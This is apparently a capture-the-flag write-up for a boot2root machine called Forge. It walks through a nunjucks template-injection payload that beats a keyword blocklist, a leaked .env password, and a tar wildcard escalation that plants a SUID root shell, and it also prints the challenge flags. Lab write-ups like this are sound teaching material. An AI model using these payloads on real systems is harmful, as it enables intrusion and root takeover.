RSEC CTFBoot2Root
Forge
The public site is static, but a dev.forge.rsec virtual host exposes a "Developer Hub" built on Express + nunjucks with autoescape:false.
- Competition
RSEC CTF
- Category
- Boot2RootMedium
- Source status
- Source-documented · not platform-verified
- Document
- PDF edition5 min read
TL;DR
The public site is static, but a dev.forge.rsec virtual host exposes a "Developer Hub" built on Express + nunjucks with autoescape:false. The pin feature reflects a user-supplied label straight into a template, giving server-side template injection. A keyword blocklist (process, require, constructor, exec, spawn, global, eval) is bypassed with string concatenation ("con"+"structor") to reach the Function constructor and get RCE as www-data. The app's .env leaks the deploy user's password (dylan:Forg3_D3v!_2024), which reads the user flag. dylan may run /usr/local/bin/backup-forge as root via sudo, and that script does tar -czf ... * in a dylan-writable directory — a classic tar wildcard privilege escalation to root.
static site → dev vhost → nunjucks SSTI → filter bypass → RCE (www-data) → .env creds → su dylan (user flag) → sudo backup-forge + tar wildcard → root (root flag)01
Recon
A full TCP connect scan shows only two ports (SYN scans were unreliable over the VPN, so -sT was used):
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1880/tcp open http nginx 1.18.0 (Ubuntu)Port 80 redirects bare-IP traffic to the vhost http://forge.rsec/, so 20.20.4.6 forge.rsec was added to /etc/hosts. The site is a static corporate brochure (/, /about.html, /services.html, /contact.html); the contact form POSTs to a .html file and returns 405, confirming there is no backend there.
02
The dev virtual host
Directory brute forcing found nothing dynamic, so the next step was vhost enumeration against forge.rsec:
gobuster vhost -u http://20.20.4.6 -w subdomains-top1million-5000.txt \ --domain forge.rsec --append-domain# Found: dev.forge.rsec (Status: 200, 4858 bytes)dev.forge.rsec is a Forge Developer Hub with a /search?q= box and a "pin this search" feature that POSTs to /pins with q and label. The internal docs hint that an internal Node service binds loopback only and sits behind the proxy — that service is what we are talking to through nginx.
03
Finding the SSTI
The q parameter is HTML-escaped when reflected, but the pin label is rendered into a template and evaluated:
label={{7*7}}→49label={{"a".toUpperCase()}}→A
So the label is fed into a template engine that evaluates arbitrary JS expressions inside {{ }}. Later confirmed from the source: nunjucks with autoescape:false.
04
Bypassing the keyword filter
Trying the usual RCE primitives failed with "That shortcut label contains characters that aren't permitted." Probing showed an input substring blocklist:
process require constructor exec spawn global evalThe blocklist only checks the raw label, while the evaluated output is unrestricted. Splitting every banned word with string concatenation defeats it — e.g. "con"+"structor" never contains the literal constructor, but evaluates to it. From a string literal we can climb the prototype chain to the Function constructor:
""["con"+"structor"]["con"+"structor"]("return 42")() // => 4205
RCE as www-data
Two quirks of the engine shaped the final payload:
The expression parser rejects escaped quotes (
\") inside string literals, so nested quoting renders the template literally.execSyncthrows on a non-zero exit code, and the engine then renders the original{{...}}text — which looked like a parser failure until the command was wrapped to always exit0.
To keep fragile command content away from the parser entirely, the real command is hex/base64 encoded and decoded inside Node, passing the module name, payload, and encoding as Function arguments (no nested quotes):
{{ ""["con"+"structor"]["con"+"structor"]( "m","c","e", "return "+"pro"+"cess"+".mainModule."+"req"+"uire"+"(m)." +"ex"+"ec"+"Sync"+"(Buffer.from(c,e).toString())"+".toString()" )("child_"+"pro"+"cess","<hex-of-command>","hex") }}Sending this as the label gives command execution:
uid=33(www-data) gid=33(www-data) host: fa4a9e61a1d5 (Docker) pwd: /var/www/devThe full, reusable exploit is in forge_rce.py.
06
User flag
The app directory holds a group-readable .env:
DEPLOY_USER=dylanDEPLOY_PASS=Forg3_D3v!_2024dylan is a real local user (/home/dylan, /bin/bash) and sshd runs in the container, but /home/dylan is 750 so www-data can't read it, and there is no sshpass on the box. Using Python's built-in pty module to drive su - dylan and feed the password (su.py) reads the flag:
su - dylan -c 'cat /home/dylan/user.txt'RSEC{e9ecad7d4dcd08efd45c3c2ea863054c}07
Privilege escalation — tar wildcard
As dylan, sudo rights are:
(root) NOPASSWD: /usr/local/bin/backup-forgeThe script:
#!/bin/bashset -eSTAGE=/opt/forge/releasesARCHIVE=/var/backups/forge-releases.tar.gzmkdir -p /var/backupscd "$STAGE"/bin/tar -czf "$ARCHIVE" */opt/forge/releases is owned by dylan and writable, and tar is called with an unquoted *. Dropping files whose names are tar options turns the glob into command-line flags. Using --checkpoint + --checkpoint-action=exec (GTFOBins tar) runs a script of our choice as root:
cd /opt/forge/releasesprintf '#!/bin/bash\ncat /root/root.txt>>/tmp/fp.txt\ncp /bin/bash /tmp/rb\nchmod 6755 /tmp/rb\n' > shell.shchmod +x shell.shtouch -- '--checkpoint=1' '--checkpoint-action=exec=sh shell.sh'sudo /usr/local/bin/backup-forgeWhen the root cron/sudo job runs tar -czf ... *, the glob expands to our option-named files, shell.sh executes as root, and we get both the flag and a SUID /tmp/rb:
uid=33(www-data) euid=0(root) # via /tmp/rb -pRSEC{02b640c63da94aebb8dcf5cfcacc10ac}Exploit files
forge_rce.py— nunjucks SSTI → RCE aswww-data(filter bypass + hex/base64 command delivery).su.py/surun.py— PTY-drivensu - dylanusing the leaked password.dylan.py— helper to run arbitrary commands asdylanthrough the www-data RCE.
Flags
User
RSEC{e9ecad7d4dcd08efd45c3c2ea863054c}
Root
RSEC{02b640c63da94aebb8dcf5cfcacc10ac}
Source-documented · not platform-verified
Takeaways
Static front-ends often hide the real attack surface on a dev/staging vhost — always fuzz virtual hosts.
autoescape:falseon any JS template engine is SSTI waiting to happen; blocklists on raw input are trivially bypassed with concatenation.Secrets in a readable
.envare a reliable pivot from web-user to a real account.tar *run as root over an attacker-writable directory is instant root via--checkpoint-action.
